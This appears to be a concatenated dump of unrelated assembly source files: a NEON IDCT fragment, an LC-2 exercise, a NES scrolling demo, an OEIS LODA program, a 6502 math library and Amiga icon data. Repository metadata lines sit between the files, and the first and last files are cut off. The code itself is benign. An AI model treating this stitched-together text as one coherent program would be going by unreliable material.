q0 vmul.i16 q5, q5, q1 vld1.16 {d0}, [r2] ; q2: l0r0 q3: l8r8 ; q4: l4r4 q5: l12r12 vswp d5, d8 vswp d7, d10 ; _CONSTANTS_ * 4,12 >> 16 ; q6: 4 * sinpi : c1/temp1 ; q7: 12 * sinpi : d1/temp2 ; q8: 4 * cospi ; q9: 12 * cospi vqdmulh.s16 q6, q4, d0[2] ; sinpi8sqrt2 vqdmulh.s16 q7, q5, d0[2] vqdmulh.s16 q8, q4, d0[0] ; cospi8sqrt2minus1 vqdmulh.s16 q9, q5, d0[0] vqadd.s16 q10, q2, q3 ; a1 = 0 + 8 vqsub.s16 q11, q2, q3 ; b1 = 0 - 8 ; vqdmulh only accepts signed values. this was a problem because ; our constant had the high bit set, and was treated as a negative value. ; vqdmulh also doubles the value before it shifts by 16. we need to ; compensate for this. in the case of sinpi8sqrt2, the lowest bit is 0, ; so we can shift the constant without losing precision. this avoids ; shift again afterward, but also avoids the sign issue. win win! ; for cospi8sqrt2minus1 the lowest bit is 1, so we lose precision if we ; pre-shift it vshr.s16 q8, q8, #1 vshr.s16 q9, q9, #1 ; q4: 4 + 4 * cospi : d1/temp1 ; q5: 12 + 12 * cospi : c1/temp2 vqadd.s16 q4, q4, q8 vqadd.s16 q5, q5, q9 ; c1 = temp1 - temp2 ; d1 = temp1 + temp2 vqsub.s16 q2, q6, q5 vqadd.s16 q3, q4, q7 ; [0]: a1+d1 ; [1]: b1+c1 ; [2]: b1-c1 ; [3]: a1-d1 vqadd.s16 q4, q10, q3 vqadd.s16 q5, q11, q2 vqsub.s16 q6, q11, q2 vqsub.s16 q7, q10, q3 ; rotate vtrn.32 q4, q6 vtrn.32 q5, q7 vtrn.16 q4, q5 vtrn.16 q6, q7 ; idct loop 2 ; q4: l 0, 4, 8,12 r 0, 4, 8,12 ; q5: l 1, 5, 9,13 r 1, 5, 9,13 ; q6: l 2, 6,10,14 r 2, 6,10,14 ; q7: l 3, 7,11,15 r 3, 7,11,15 ; q8: 1 * sinpi : c1/temp1 ; q9: 3 * sinpi : d1/temp2 ; q10: 1 * cospi ; q11: 3 * cospi vqdmulh.s16 q8, q5, d0[2] ; sinpi8sqrt2 vqdmulh.s16 q9, q7, d0[2] vqdmulh.s16 q10, q5, d0[0] ; cospi8sqrt2minus1 vqdmulh.s16 q11, q7, d0[0] vqadd.s16 q2, q4, q6 ; a1 = 0 + 2 vqsub.s16 q3, q4, q6 ; b1 = 0 - 2 ; see note on shifting above vshr.s16 q10, q10, #1 vshr.s16 q11, q11, #1 ; q10: 1 + 1 * cospi : d1/temp1 ; q11: 3 + 3 * cospi : c1/temp2 vqadd.s16 q10, q5, q10 vqadd.s16 q11, q7, q11 ; q8: c1 = temp1 - temp2 ; q9: d1 = temp1 + temp2 vqsub.s16 q8, q8, q11 vqadd.s16 q9, q10, q9 ; a1+d1 ; b1+c1 ; b1-c1 ; a1-d1 vqadd.s16 q4, q2, q9 vqadd.s16 q5, q3, q8 vqsub.s16 q6, q3, q8 vqsub.s16 q7, q2, q9 ; +4 >> 3 (rounding) vrshr.s16 q4, q4, #3 ; lo vrshr.s16 q5, q5, #3 vrshr.s16 q6, q6, #3 ; hi vrshr.s16 q7, q7, #3 vtrn.32 q4, q6 vtrn.32 q5, q7 vtrn.16 q4, q5 vtrn.16 q6, q7 ; adding pre ; input is still packed. pre was read interleaved vaddw.u8 q4, q4, d28 vaddw.u8 q5, q5, d29 vaddw.u8 q6, q6, d30 vaddw.u8 q7, q7, d31 vmov.i16 q14, #0 vmov q15, q14 vst1.16 {q14, q15}, [r0] ; write over high input sub r0, r0, #32 vst1.16 {q14, q15}, [r0] ; write over low input ;saturate and narrow vqmovun.s16 d0, q4 ; lo vqmovun.s16 d1, q5 vqmovun.s16 d2, q6 ; hi vqmovun.s16 d3, q7 ldr r1, [sp, #4] ; stride add r2, r3, #4 ; hi vst1.32 {d0[0]}, [r3], r1 ; lo vst1.32 {d0[1]}, [r2], r1 ; hi vst1.32 {d1[0]}, [r3], r1 vst1.32 {d1[1]}, [r2], r1 vst1.32 {d2[0]}, [r3], r1 vst1.32 {d2[1]}, [r2], r1 vst1.32 {d3[0]}, [r3] vst1.32 {d3[1]}, [r2] bx lr ENDP ; |idct_dequant_full_2x_neon| ; Constant Pool _CONSTANTS_ DCD cospi8sqrt2minus1 cospi8sqrt2minus1 DCD 0x4e7b ; because the lowest bit in 0x8a8c is 0, we can pre-shift this sinpi8sqrt2 DCD 0x4546 END
30.442211
77
0.480191
1cb5945030350bd42b84c5a550ccbca01187591b
2,889
asm
Assembly
22_ADD_DIGIT.asm
aleattene/lc2-exams
516ca7ea7979898238267af0bf095fc4538dac1a
[ "MIT" ]
null
null
null
22_ADD_DIGIT.asm
aleattene/lc2-exams
516ca7ea7979898238267af0bf095fc4538dac1a
[ "MIT" ]
null
null
null
22_ADD_DIGIT.asm
aleattene/lc2-exams
516ca7ea7979898238267af0bf095fc4538dac1a
[ "MIT" ]
null
null
null
; ************ DESCRIZIONE SOTTOPROGRAMMA ************ Il seguente sottoprogramma denominato ADD_DIGIT riceve: - nel registro R0 un numero N intero positivo codificato in complemento a due (quindi compreso fra 1 e 32767); - nel registro R1 il carattere ASCII corrispondente alla cifra decimale C (quindi un carattere la cui codifica esadecimale è compresa fra x30 e x39); Il sottoprogramma inoltre restituisce nel registro R0 il numero intero M = N x 10 + val(C) (dove val(C) è il valore numerico decimale della cifra C) ovvero il risultato che si avrebbe se la cifra C fosse stata immessa come ultima cifra di un numero decimale che si sta inserendo come sequenza di caratteri ASCII. Trascurare eventuali traboccamenti. Nonostante l'utilizzo di altri registri della CPU, il sottoprogramma restituisce il controllo al programma chiamante senza che tali registri risultino alterati. ; ************ ESEMPI FUNZIONAMENTO SOTTOPROGRAMMA ************ INPUT 1 OUTPUT 1 R0 5 R0 57 R1 “7”=x37 INPUT 2 OUTPUT 2 R0 57 R0 572 R1 “2”=x32 ; *********** PROGRAMMA TEST ************* .orig x3000 LD R0, num_pos ; in R0 <- numero intero positivo LD R1, car_cifra ; in R1 <- carattere ASCII cifra ; decimale C (esadecimale x30-x39) ; ********** SOTTOPROGRAMMA ************** ; ADD_DIGIT ; nome sottoprogramma ST R2, store2 ; contenuto R2 -> in cella indirizzo store2 ST R3, store3 ; contenuto R3 -> in cella indirizzo store3 ST R4, store4 ; contenuto R4 -> in cella indirizzo store4 LD R4, cesa_ndec ; in R4 <- valore decimale -48 ; per trasformare carattere-cifra in cifra ; decimale corrispondente AND R2,R2,#0 ; azzero registro contatore R2 ADD R2,R2,#8 ; impostazione iniziale contatore ; (ricordare -> numero somme meno due) ADD R3,R0,R0 ; in R3 -> sequenza somme (moltiplicazione) ciclo_C10 ADD R3,R3,R0 ; in R3 -> sequenza somme (moltiplicazione) ADD R2,R2,#-1 ; decremento contatore BRZ fine_C10 ; se zero -> moltiplicazione terminata BRP ciclo_C10 ; se positivo -> proseguire moltiplicazione fine_C10 ADD R1,R1,R4 ; in R1 <- cifra_car trasformata in decimale ADD R0,R3,R1 ; in R0 <- output finale (come da specifiche) LD R2, store2 ; contenuto cella indirizzo store2 -> in R2 LD R3, store3 ; contenuto cella indirizzo store3 -> in R3 LD R4, store4 ; contenuto cella indirizzo store4 -> in R4 ; RET ; ritorno da sottoprogramma ; ************ VARIABILI ***************** store2 .blkw 1 ; riservo una cella memoria per contenuto R2 store3 .blkw 1 ; riservo una cella memoria per contenuto R3 store4 .blkw 1 ; riservo una cella memoria per contenuto R4 cesa_ndec .fill #-48 ; valore che permette di trasformare un ; carattere cifra in una cifra decimale ;num_pos .fill #5 num_pos .fill #57 ;car_cifra .fill x37 car_cifra .fill x32 .end ; fine programma
36.56962
94
0.698165
050b0ba637823560a09e64e3036b2ae759b457b7
5,341
asm
Assembly
examples/simplescroll/main.asm
HonkeyKong/libKong
acf23cb015d3004f6bab63681f0cd6a86716e875
[ "MIT" ]
1
2018-02-10T20:55:28.000Z
2018-02-10T20:55:28.000Z
examples/simplescroll/main.asm
HonkeyKong/libKong
acf23cb015d3004f6bab63681f0cd6a86716e875
[ "MIT" ]
null
null
null
examples/simplescroll/main.asm
HonkeyKong/libKong
acf23cb015d3004f6bab63681f0cd6a86716e875
[ "MIT" ]
null
null
null
; libKong example program ROM, 16KB .data ; This header contains our main zero-page requirements. ; Don't allocate before $20. ; 32 bytes on the zero page should be enough for libKong. .include "../../KongZP.asm" ; Starting here leaves a 16-byte boundary between ; the libKong allocation and our ZP requisites. ; It's not necessary, but it keeps things safe from being overwritten. .org $30 ; $100-$1FF are where the stack is located, so make sure you're not putting ; anything into that area. $200 is a good place for a copy of the Object ; Attribute Memory (OAM) to be written, so you can manipulate sprites before ; and after the VBlank, then DMA them into VRAM during the VBlank cycle. .org $0200 ; (256 bytes / 4 bytes per sprite) = 64 sprites on-screen at once. .org $0300 ; This is where variables should go that don't require the speed of a ; zero-page read or write. You have $0300-$07FF available to you. ; That's roughly 1.25 kilobytes. Should be enough for everyone. :) ; Let's set up a few variables for important things like scrolling. .space ScrollX 1 .space ScrollY 1 .space ActiveScreen 1 ; -------------------- END OF DATA SEGMENT -------------------- ; Start of the text segment, this is our program code. .text ; Addressable ROM space starts at $8000. Everything below this area is wired ; to the NES hardware or a mirror of a hardware space, with the exception of ; $6000-$7FFF in boards with 8KB expansion RAM, such as TLROM and TKROM cart ; configurations. ; Since we're only making a 16KB binary, we can set the origin to $C000, ; rather than starting at $8000. This configuration is called "NROM-128", ; because it makes a 128 kilobit program ROM. These ROMs are compatible with ; 32KB/256 kilobit (NROM-256) boards, though to make them work, you'll need ; to write the PRG data twice to inflate the size to 32KB. .org $C000 .include "../../KongSetup.asm" ; libKong NES setup .include "../../KongPPU.asm" ; libKong PPU code .include "../../KongMacros.asm" ; libKong Macros .include "../../KongRender.asm" ; Rendering routines .include "../../KongInput.asm" ; Controller handler ; Add our graphics data. simplePal: ; Palette data .incbin "simplegfx.pal" simpleScreen1: ; Screen 1 Data .incbin "simple1.nam" simpleScreen2: .incbin "simple2.nam" ; Screen 2 Data RESET: ; Make sure everything gets set up properly. JSR ResetNES ; Basic boilerplate NES setup code JSR WaitVBlank ; VBlank #1 JSR ClearRAM ; Clear out RAM `clearStack ; Clean up the stack. JSR ClearSprites ; Move sprites off-screen. JSR WaitVBlank ; VBlank #2 ; It generally takes 2 VBlank cycles to ensure the PPU is ; warmed up and ready to start drawing stuff on the screen. ; Now that the necessary time is passed, we can configure ; the PPU and get stuff set up to render the title card. JSR DisableGFX ; Disable graphics ; Init our scrolling position. LDA #$00 STA ScrollX STA ScrollY LDA #$00|NMIOnVBlank|BGAddr0|PPUInc1 STA ActiveScreen ; Load our palettes. `loadBGPalette simplePal `loadSpritePalette simplePal ; Clear the nametables. JSR ClearNameTables ; Set up the PPU. This is self explanatory, but I'll break it down. ; Set Backgrounds to CHR Page 0 ; Increment PPU address by 1 (horizontal rendering) ; Set Nametable to PPU Address $2000 (Top-Left) ; We'll actually be writing to the nametable at $2800 (Bottom-Left), but with ; mirroring set to vertical, writing to $2800 will copy that data to $2000. `ConfigurePPU BGAddr0|PPUInc1|NameTable20 LDX #<simpleScreen1 LDY #>simpleScreen1 LDA #NT0 JSR RenderNameTable LDX #<simpleScreen2 LDY #>simpleScreen2 LDA #NT1 JSR RenderNameTable ; Now that we've rendered our background, we can reconfigure the PPU with our ; VBlank Non-Maskable Interrupt enabled. `ConfigurePPU NMIOnVBlank|BGAddr0|PPUInc1|NameTable20 ; Enable graphics. JSR EnableGFX MainLoop: JMP MainLoop ; Jump back, infinite loop. All game logic performed on NMI. ; Non Maskable Interrupt, ran once per frame when VBlank triggers. NMI: ; Set the scroll register using our stored values. LDX ScrollX LDY ScrollY CPX #$FF BNE + LDA ActiveScreen EOR #$01 STA ActiveScreen STA PPUControl1 * INX STX ScrollX STX BGScroll STY BGScroll ; PPU updates are done, run the game logic. ;ReadPads: ; Read the controller states. JSR ReadController1 JSR ReadController2 RTI ; ReTurn from Interrupt ; Set up the 3 main vectors the NES looks for ; at the end of the ROM on power-up. ; Unlike the .org directive, .advance will advance the program ; counter and zero fill the space leading up to it to pad the ; binary up to the designated location. This is necessary in places ; like this, where the hardware expects a lookup table with the ; necessary functions to set up the NES and get things running. .advance $FFFA ; First of the three vectors starts here .word NMI ; Non-Maskable Interrupt, runs at VBlank, once per frame. .word RESET ; This function is performed on power-on and reset. .word 0 ; external IRQ is not used here
31.417647
79
0.696873
292c6d32e9544c197300e815ebba4ec0fc8a4376
484
asm
Assembly
programs/oeis/210/A210464.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/210/A210464.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/210/A210464.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A210464: Number of bracelets with 2 blue, 2 red, and n black beads. ; 4,11,18,33,48,74,100,140,180,237,294,371,448,548,648,774,900,1055,1210,1397,1584,1806,2028,2288,2548,2849,3150,3495,3840,4232,4624,5066,5508,6003,6498,7049,7600,8210,8820,9492,10164,10901,11638,12443,13248,14124 mov $1,1 mov $2,$0 mov $3,1 mov $4,$0 lpb $2 lpb $0 sub $0,1 add $1,$2 lpe add $1,2 sub $2,1 add $3,3 add $0,$3 trn $2,1 lpe lpb $4 add $1,4 sub $4,1 lpe add $1,3 mov $0,$1
19.36
213
0.646694
d0b41cf56fe1e73fbc81f0263042c3beebdb052a
11,401
asm
Assembly
Common/math16.asm
Martin-H1/6502
e57e4b71d44e8cccfb5ba7e1d31db8d59e3e02a6
[ "MIT" ]
3
2020-05-10T02:45:52.000Z
2020-08-27T19:30:21.000Z
Common/math16.asm
Martin-H1/6502
e57e4b71d44e8cccfb5ba7e1d31db8d59e3e02a6
[ "MIT" ]
null
null
null
Common/math16.asm
Martin-H1/6502
e57e4b71d44e8cccfb5ba7e1d31db8d59e3e02a6
[ "MIT" ]
null
null
null
; ----------------------------------------------------------------------------- ; The 6502 is a pure eight bit processor and math beyond eight bits ; requires helper functions. This module uses the stack like an RPN ; calculator or Forth to pass inputs and return outputs. ; Martin Heermance <mheermance@gmail.com> ; ----------------------------------------------------------------------------- .scope ; ; Aliases ; ; ; Data segments ; .data BSS .space _N 6 ; a workspace cell. .space _CNT 2 ; a counter cell. .text ; ; Macros ; .macro decw lda _1 bne _over dec _1+1 _over: dec _1 .macend .macro incw inc _1 bne _over inc _1+1 _over: .macend .macro if_less16 jsr compare16 ; for signed numbers, NOS < TOS if C=0 beq _else bmi _else .macend .macro if_greater16 jsr compare16 ; for signed numbers, NOS > TOS if Z=0 and N=1 beq _else bpl _else .macend .macro if_equals16 jsr equals16 bne _else .macend ; ; Functions ; ; Takes the absolute value of the input. ; input - number of take absolute value. ; output - result abs16: .scope lda TOS_MSB,x bpl + ; positive number need nothing additional. jsr neg16 * rts .scend ; Takes the absolute value of a 32 bit value on the stack. ; input - 32 bit number of take absolute value. ; output - result abs32: .scope lda NOS_MSB,x bpl + ; positive number need nothing additional. jsr neg32 * rts .scend ; adds two 16 bit quantities on the argument stack and puts the result ; on the stack. add16: clc lda TOS_LSB,x ; LSB of lower word adc NOS_LSB,x sta NOS_LSB,x lda TOS_MSB,x ; MSB of lower word adc NOS_MSB,x sta NOS_MSB,x `drop rts ; subtract two 16 bit quantities on the argument stack and puts the result ; on the stack. sub16: sec lda NOS_LSB,x ; LSB of lower word sbc TOS_LSB,x sta NOS_LSB,x lda NOS_MSB,x ; MSB of lower word sbc TOS_MSB,x sta NOS_MSB,x `drop rts ; Computes two's compliment negation of a 16 bit quantity. ; input - 16 bit number to negate. ; output - result neg16: sec ; calculate 0 - tos lda #$00 sbc TOS_LSB,x sta TOS_LSB,x lda #$00 sbc TOS_MSB,x sta TOS_MSB,x rts ; Computes two's compliment negation of a 32 bit quantity. ; input - 32 bit number to negate. ; output - result neg32: sec ; calculate 0 - nos/tos lda #$00 sbc NOS_LSB,x sta NOS_LSB,x lda #$00 sbc NOS_MSB,x sta NOS_MSB,x lda #$00 sbc TOS_LSB,x sta TOS_LSB,x lda #$00 sbc TOS_MSB,x sta TOS_MSB,x rts ; Computes signed multiply of two 16 bit quantities. ; input - 16 bit number at NOS and TOS. ; output - 16 result mul16: .scope lda TOS_MSB,x ; Determine the sign of the result. eor NOS_MSB,x pha jsr abs16 ; multiple using absolute values. `swap jsr abs16 jsr umul16 pla ; Apply the sign to the result. bpl + jsr neg16 * rts .scend ; Computes unsigned multiply of two 16 bit quantities. ; input - 16 bit number at NOS and TOS. ; output - 16 result umul16: .scope lda #0 sta _N phy ldy #$10 lsr NOS_MSB,x ror NOS_LSB,x _loop: bcc + clc sta _N+1 lda _N adc TOS_LSB,x sta _N lda _N+1 adc TOS_MSB,x * ror ror _N ror NOS_MSB,x ror NOS_LSB,x dey bne _loop sta TOS_MSB,x lda _N sta TOS_LSB,x ply `drop rts .scend ; UM/MOD ( ud u1 -- u2 u3 ) ("UM/MOD") 32/16 -> 16 ; Divide double cell number by single number and return the quotient u3 as ; the TOS and remainder as NOS. All numbers are unsigned. This is the basic ; division operation the others use. Based on FIG Forth code, modified by ; Garth Wilson, see http://6502.org/source/integers/ummodfix/ummodfix.htm ummod: .scope `toszero? ; prevent division by zero. bne _notzero brk ; halt for now until error handling firms up. _notzero: lda #$11 ; we loop 17 times sta _CNT _loop: rol THS_LSB,x ; rotate low cell of dividend left (LSB). rol THS_MSB,x dec _CNT beq _endloop ; loop control rol NOS_LSB,x ; rotate high cell of dividend left (MSB). rol NOS_MSB,x stz _N ; store the bit we got from hi cell MSB. rol _N sec ; subtract dividend hi cell minus divisor. lda NOS_LSB,x sbc TOS_LSB,x sta _N+1 lda NOS_MSB,x sbc TOS_MSB,x tay ; use Y as temporary storage lda _N ; include bit carried sbc #$00 bcc _loop lda _N+1 ; make result new dividend hi cell. sta NOS_LSB,x sty NOS_MSB,x ; used as temp storage. bra _loop _endloop: `drop ; drop unused date from the stack. `swap ; swap quotient and remainder. rts .scend ; MSTAR ( n n -- dn ) ("M*") ; Multiply two 16 bit numbers, producing a 32 bit result. All numbers are ; signed. This is adapted from FIG Forth code, the original Forth code is ; OVER OVER XOR >R ABS SWAP ABS UM* R> D+- where "D+-" is O< IF DNEGATE THEN ; FIG Forth is in the public domain .scope mstar: phy lda TOS_MSB,x ; figure out the sign eor NOS_MSB,x pha jsr abs16 ; get the absolute value of both numbers `swap jsr abs16 jsr umstar ; now ( d ) on stack pla ; handle the sign bpl _done jsr neg32 _done: ply rts .scend ; UMSTAR ( n n -- dn ) ("UM*") ; Multiply two 16 bit numbers, producing a 32 bit result. Everything is ; unsigned. This is based on modified FIG Forth code by Dr. Jefyll, see ; http://forum.6502.org/viewtopic.php?f=9&t=689 for a detailed discussion. ; use the _N scratch pad for temp storage. ; FIG Forth is in the public domain. Note old Forth versions such as FIG Forth ; call this "U*" .scope umstar: clc ; clear carry for safety lda TOS_LSB,x ; copy top of the stack to _N+2, _N+3. ; To eliminate CLC inside the loop, sbc #$00 ; this value is reduced by 1 in advance. sta _N+2 lda TOS_MSB,x sbc #$00 bcc _zero ; if TOS is zero, deal with it sta _N+3 lda #$00 ; Put $00 in both A and _N. sta _N ; First eight shifts are A --> _N --> 2,x ; Final eight shifts are A --> SYSPAD --> 3,x stx _N+4 ; tested later for exit from outer loop `advance _outerloop: ldy #$08 lsr THS_LSB,x ; think "2,x" and later "3,x" _innerloop: bcc _noadd sta _N+1 ; save time by not CLC, see above lda _N adc _N+2 sta _N lda _N+1 adc _N+3 _noadd: ror ; shift ror _N ror THS_LSB,x ; think NOS_LSB and later NOS_MSB dey bne _innerloop ; go back for one more shift? inx cpx _N+4 bne _outerloop ; go back for eight more shifts? ; all done sta TOS_MSB,x ; MSB of high word of result lda _N sta TOS_LSB,x ; LSB of high word of result bra _done _zero: stz NOS_LSB,x stz NOS_MSB,x ; drop through to RTS _done: rts .scend ; Symmetic signed division with remainder. Based on F-PC 3.6 by Ulrich Hoffmann ; F-PC is in the public domain. See http://www.xlerb.de/uho/ansi.seq ; input - 32 bit dividend (NOS), 16 bit divisor (TOS). ; output - 16 result remainder (NOS) and quotient (TOS). smrem: .scope lda NOS_MSB,x ; save sign of nos cell. pha lda TOS_MSB,x ; XOR the signs of TOS and NOS eor NOS_MSB,x pha ; save for later. jsr abs16 ; divide the absolute values. `drop jsr abs32 `advance jsr ummod ; calculate unsigned quotient and remainder. pla ; apply the XOR sign to the quotient. bpl + jsr neg16 * pla ; if d was negative, negate the renamainder. bpl + `drop ; pretend we pushed quotient to R jsr neg16 `advance * rts .scend ; Computes signed division of two 16 bit quantities. ; input - 16 bit dividend at NOS and divisor at TOS. ; output - 16 quotient div16: .scope `popToR `sToD `pushFromR jsr smrem `nip rts .scend ; Arithmetically divides a number by two with bit shifting. ; Handles signed numbers including negative which is tricky. ; input -16 bit dividend on stack ; output - sixteen bit result divByTwo16: lda TOS_LSB,x and TOS_MSB,x inc ; if -1 this will be zero bne + sta TOS_LSB,x ; zero out TOS sta TOS_MSB,x rts * lda TOS_MSB,x asl ror TOS_MSB,x ror TOS_LSB,x rts ; Computes signed mod of two 16 bit quantities. ; input - 16 bit dividend at NOS and divisor at TOS. ; output - 16 modulus mod16: .scope `popToR `sToD `pushFromR jsr smrem `drop rts .scend ; compares two 16 bit quantities on the argument stack to set the flag bits. compare16: .scope lda TOS_LSB,x cmp NOS_LSB,x beq _equal lda TOS_MSB,x ; low bytes are not equal, compare MSB sbc NOS_MSB,x ora #$01 ; Make Zero Flag 0 because we're not equal bvs _overflow bra _notequal _equal: ; low bytes are equal, so we compare high bytes lda TOS_MSB,x sbc NOS_MSB,x bvc _done _overflow: ; handle overflow because we use signed numbers eor #$80 ; complement negative flag _notequal: ora #$01 ; if overflow, we can't be equal _done: php `drop `drop plp rts .scend ; determines if two 16 bit quantities are equal and sets the flag bits. equals16: .scope lda TOS_LSB,x cmp NOS_LSB,x bne + lda TOS_MSB,x cmp NOS_MSB,x * php `drop `drop plp rts .scend ; AND's nos and tos, result on stack. and16: .scope lda TOS_LSB,x and NOS_LSB,x sta NOS_LSB,x lda TOS_MSB,x and NOS_MSB,x sta NOS_MSB,x `drop rts .scend ; OR's nos and tos, result on stack. or16: .scope lda TOS_LSB,x ora NOS_LSB,x sta NOS_LSB,x lda TOS_MSB,x ora NOS_MSB,x sta NOS_MSB,x `drop rts .scend ; Shift cell u bits to the left. We mask the anything except the lower ; 4 bit of u so we shift maximal of 16 bit lshift16: .scope phy lda TOS_LSB,x and #%00001111 beq _done ; if it is zero, don't do anything tay _while: asl NOS_LSB,x rol NOS_MSB,x dey bne _while _done: `drop ply rts .scend ; Shift cell u bits to the right. We mask the anything except the lower ; 4 bit of u so we can maximally move 16 bit. arshift16: .scope phy lda TOS_LSB,x `drop and #%00001111 beq _done ; if it is zero, don't do anything tay _while: jsr divByTwo16 dey bne _while _done: ply rts .scend ; Shift cell u bits to the right. We mask the anything except the lower ; 4 bit of u so we can maximally move 16 bit. rshift16: .scope phy lda TOS_LSB,x and #%00001111 beq _done ; if it is zero, don't do anything tay _while: lsr NOS_MSB,x ror NOS_LSB,x dey bne _while _done: `drop ply rts .scend ; Compares TOS and NOS keeps the one that is smaller. Adapted from Lance A. ; Leventhal "6502 Assembly Language Subroutines." Negative Flag indicateds ; which number is larger. See also ; http://www.righto.com/2012/12/the-6502-overflow-flag-explained.html min16: .scope lda TOS_LSB,x cmp NOS_LSB,x ; compare LSB's. This sets the carry flag. lda TOS_MSB,x ; subtract MSB's with carry. sbc NOS_MSB,x bvc _noov ; no overflow, so skip the next step eor #$80 ; handle overflow because we use signed numbers _noov: bpl _keepnos ; if negative, NOS is larger and needs to be dumped `putNosFromTos ; move TOS to NOS _keepnos: `drop rts .scend ; Compare TOS and NOS and keeps the one that is larger. Adapted from Lance A. ; Leventhal "6502 Assembly Language Subroutines". Negative Flag indicates ; which number is larger. See also ; http://www.righto.com/2012/12/the-6502-overflow-flag-explained.html max16: .scope lda TOS_LSB,x cmp NOS_LSB,x ; compare LSB's. This sets the carry flag. lda TOS_MSB,x ; subtract MSB's with carry. sbc NOS_MSB,x bvc _noov ; no overflow, so skip the next step eor #$80 ; handle overflow because we use signed numbers _noov: bmi _keepnos ; if negative, NOS is larger and needs to be kept `putNosFromTos _keepnos: `drop rts .scend .scend
20.14311
79
0.685992
fbed7c138b272117aa894579c633b769d82a4382
5,669
asm
Assembly
research/deficon/def_disk-icon_36_279.asm
nicodex/HelloAmi
6dae73b6968cc2caaea356b7a35b0ae1dd78fe09
[ "MIT" ]
16
2019-02-14T15:47:57.000Z
2021-03-28T20:50:54.000Z
research/deficon/def_disk-icon_36_279.asm
nicodex/HelloAmi
6dae73b6968cc2caaea356b7a35b0ae1dd78fe09
[ "MIT" ]
9
2019-01-17T09:08:30.000Z
2021-04-15T19:32:47.000Z
research/deficon/def_disk-icon_36_279.asm
nicodex/HelloAmi
6dae73b6968cc2caaea356b7a35b0ae1dd78fe09
[ "MIT" ]
1
2019-01-04T16:19:03.000Z
2019-01-04T16:19:03.000Z
; vasmm68k_mot[_<HOST>] -Fbin -o icon_36_279/def_disk.info def_disk-icon_36_279.asm ; ; Default "ENV:def_disk.info" data included in "icon 36.279 (20.4.90)". ; include deficon.inc ifne DEFICON_MEM align 1 endif defIconDisk: dc.w $E310 ; do_Magic = WB_DISKMAGIC dc.w $0001 ; do_Version = WB_DISKVERSION dc.l 0 ; do_Gadget+gg_NextGadget dc.w 0,0 ; do_Gadget+gg_LeftEdge/gg_TopEdge dc.w 35,16 ; do_Gadget+gg_Width/gg_Height dc.w $0004 ; do_Gadget+gg_Flags = ; GFLG_GADGIMAGE dc.w $0003 ; do_Gadget+gg_Activation = ; GACT_RELVERIFY ; GACT_IMMEDIATE dc.w $0001 ; do_Gadget+gg_GadgetType = ; GTYP_BOOLGADGET DEFICON_PTR .GadgetRender ; do_Gadget+gg_GadgetRender dc.l 0 ; do_Gadget+gg_SelectRender dc.l 0 ; do_Gadget+gg_GadgetText dc.l 0 ; do_Gadget+gg_MutualExclude dc.l 0 ; do_Gadget+gg_SpecialInfo dc.w 0 ; do_Gadget+gg_GadgetID dc.l 0 ; do_Gadget+gg_UserData dc.b 1 ; do_Type = WBDISK dc.b 0 ; do_PAD_BYTE DEFICON_PTR .DefaultTool ; do_DefaultTool dc.l 0 ; do_ToolTypes dc.l $80000000 ; do_CurrentX = NO_ICON_POSITION dc.l $80000000 ; do_CurrentY = NO_ICON_POSITION DEFICON_PTR .DrawerData ; do_DrawerData dc.l 0 ; do_ToolWindow dc.l 0 ; do_StackSize .DrawerData: dc.w 0,11 ; dd_NewWindow+nw_LeftEdge/nw_TopEdge dc.w 320,100 ; dd_NewWindow+nw_Width/nw_Height dc.b -1,-1 ; dd_NewWindow+nw_DetailPen/nw_BlockPen dc.l 0 ; dd_NewWindow+nw_IDCMPFlags dc.l $0240027F ; dd_NewWindow+nw_Flags = ; WFLG_SIZEGADGET ; WFLG_DRAGBAR ; WFLG_DEPTHGADGET ; WFLG_CLOSEGADGET ; WFLG_SIZEBRIGHT ; WFLG_SIZEBBOTTOM ; WFLG_SIMPLE_REFRESH ; WFLG_REPORTMOUSE ; $00400000 ; WFLG_WBENCHWINDOW dc.l 0 ; dd_NewWindow+nw_FirstGadget dc.l 0 ; dd_NewWindow+nw_CheckMark dc.l 0 ; dd_NewWindow+nw_Title dc.l 0 ; dd_NewWindow+nw_Screen dc.l 0 ; dd_NewWindow+nw_BitMap dc.w 90,40 ; dd_NewWindow+nw_MinWidth/nw_MinHeight dc.w 65535,65535 ; dd_NewWindow+nw_MaxWidth/nw_MaxHeight dc.w $0001 ; dd_NewWindow+nw_Type = WBENCHSCREEN dc.l 18,0 ; dd_CurrentX/CurrentY ifne DEFICON_MEM dc.l 0 ; dd_Flags dc.w 0 ; dd_ViewModes endif .GadgetRender: dc.w 0,0 ; ig_LeftEdge/ig_TopEdge dc.w 35,16 ; ig_Width/ig_Height dc.w 2 ; ig_Depth DEFICON_PTR .GadgetImage ; ig_ImageData dc.b (1<<2)-1,0 ; ig_PlanePick/ig_PlaneOnOff dc.l 0 ; ig_NextImage .GadgetImage: dc.w %0000001111111111,%1111111111111000,%0000000000000000 dc.w %0000001111111111,%1111101010101000,%0000000000000000 dc.w %0000001111111111,%1111010101011000,%0000000000000000 dc.w %0000001111111111,%1110101010111000,%0000000000000000 dc.w %0000001100010001,%1101010101111000,%0000000000000000 dc.w %0000001110001000,%1010101011111000,%0000000000000000 dc.w %0000001111000100,%0101010111111000,%0000000000000000 dc.w %0000000111100010,%1010101111111000,%0000000000000000 dc.w %0000000000000000,%0000000000000000,%0000000000000000 dc.w %0000000000000000,%0000000000000000,%0000000000000000 dc.w %0000000001111111,%1111111111000000,%0000000000000000 dc.w %0000000001110000,%1111111111000000,%0000000000000000 dc.w %0000000001110000,%1111111111000000,%0000000000000000 dc.w %0000000001110000,%1111111111000000,%0000000000000000 dc.w %0000000001111111,%1111111111000000,%0000000000000000 dc.w %0000000000000000,%0000000000000000,%0000000000000000 dc.w %1111110000000000,%0000000000000111,%1110000000000000 dc.w %1111110000000000,%0000011101110110,%0110000000000000 dc.w %1111110000000000,%0000111011100111,%1110000000000000 dc.w %1111110000000000,%0001110111000111,%1110000000000000 dc.w %1111110010101010,%0011101110000111,%1110000000000000 dc.w %1111110001010101,%0111011100000111,%1110000000000000 dc.w 